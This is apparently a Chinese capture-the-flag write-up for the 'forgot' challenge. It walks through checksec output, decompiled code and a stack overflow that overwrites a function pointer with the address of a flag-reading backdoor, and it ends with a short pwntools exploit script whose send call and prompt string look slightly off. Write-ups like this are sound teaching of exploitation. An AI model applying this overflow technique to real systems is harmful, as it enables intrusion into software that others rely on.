『攻防世界』:进阶区 | forgot
checksec:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA静态分析主函数:
int __cdecl main() { size_t v0; // ebx char v2[32]; // [esp+10h] [ebp-74h] int (*v3)(); // [esp+30h] [ebp-54h] int (*v4)(); // [esp+34h] [ebp-50h] int (*v5)(); // [esp+38h] [ebp-4Ch] int (*v6)(); // [esp+3Ch] [ebp-48h] int (*v7)(); // [esp+40h] [ebp-44h] int (*v8)(); // [esp+44h] [ebp-40h] int (*v9)(); // [esp+48h] [ebp-3Ch] int (*v10)(); // [esp+4Ch] [ebp-38h] int (*v11)(); // [esp+50h] [ebp-34h] int (*v12)(); // [esp+54h] [ebp-30h] char s; // [esp+58h] [ebp-2Ch] int v14; // [esp+78h] [ebp-Ch] size_t i; // [esp+7Ch] [ebp-8h] v14 = 1; v3 = sub_8048604; v4 = sub_8048618; v5 = sub_804862C; v6 = sub_8048640; v7 = sub_8048654; v8 = sub_8048668; v9 = sub_804867C; v10 = sub_8048690; v11 = sub_80486A4; v12 = sub_80486B8; puts("What is your name?"); printf("> "); fflush(stdout); fgets(&s, 32, stdin); sub_80485DD((int)&s); fflush(stdout); printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654); fflush(stdout); puts("Enter the string to be validate"); printf("> "); fflush(stdout); __isoc99_scanf("%s", v2); for ( i = 0; ; ++i ) { v0 = i; if ( v0 >= strlen(v2) ) break; switch ( v14 ) { case 1: if ( sub_8048702(v2[i]) ) v14 = 2; break; case 2: if ( v2[i] == 64 ) v14 = 3; break; case 3: if ( sub_804874C(v2[i]) ) v14 = 4; break; case 4: if ( v2[i] == 46 ) v14 = 5; break; case 5: if ( sub_8048784(v2[i]) ) v14 = 6; break; case 6: if ( sub_8048784(v2[i]) ) v14 = 7; break; case 7: if ( sub_8048784(v2[i]) ) v14 = 8; break; case 8: if ( sub_8048784(v2[i]) ) v14 = 9; break; case 9: v14 = 10; break; default: continue; } } (*(&v3 + --v14))(); return fflush(stdout); }
发现后门函数:需要我们进行栈溢出。
int sub_80486CC() { char s; // [esp+1Eh] [ebp-3Ah] snprintf(&s, 0x32u, "cat %s", "./flag"); return system(&s); }
注意到两个需要输入的地方一个是fgets(&s, 32, stdin)
读入31个字符,然后是__isoc99_scanf("%s", v2);
的scanf输入,这里有一个溢出点。v3-v12均为函数地址,v14算是下标。
最后有一个对函数的调用:(*(&v3 + --v14))(); 这里我提一下,前面那个括号是函数名,后面那个括号是参数。我们可以利用前面说的栈溢出,覆盖掉v3-v12中的一处,覆盖为后门函数的地址。这边选择了覆盖v3,因为v3在栈中紧贴存在栈溢出漏洞的变量,对程序流程造成的未知影响的可能性最小。
我们要想让程序执行v3处的函数(其实是被我们覆盖后的函数),就必须让最后一行的v14=1(这样--v14的值就是0,所以就是运行v3处的函数),但是v14本来等于1,所以我们只需要在for循环中,不给它赋其他值的机会,所以我们要让case1中的if语句判定为假,如此便可break,v14还会保持为1
exp:
from pwn import * io = remote("ip",port) sys = 0x080486cc payload = b'a'*32 + p32(sys) #payload = b'a'*63 + p32(sys) 这个溢出的选择有两个 io.recvuntil("< ") io.sendline("beef") io.sendlineafter("> ","payload") io.interactive()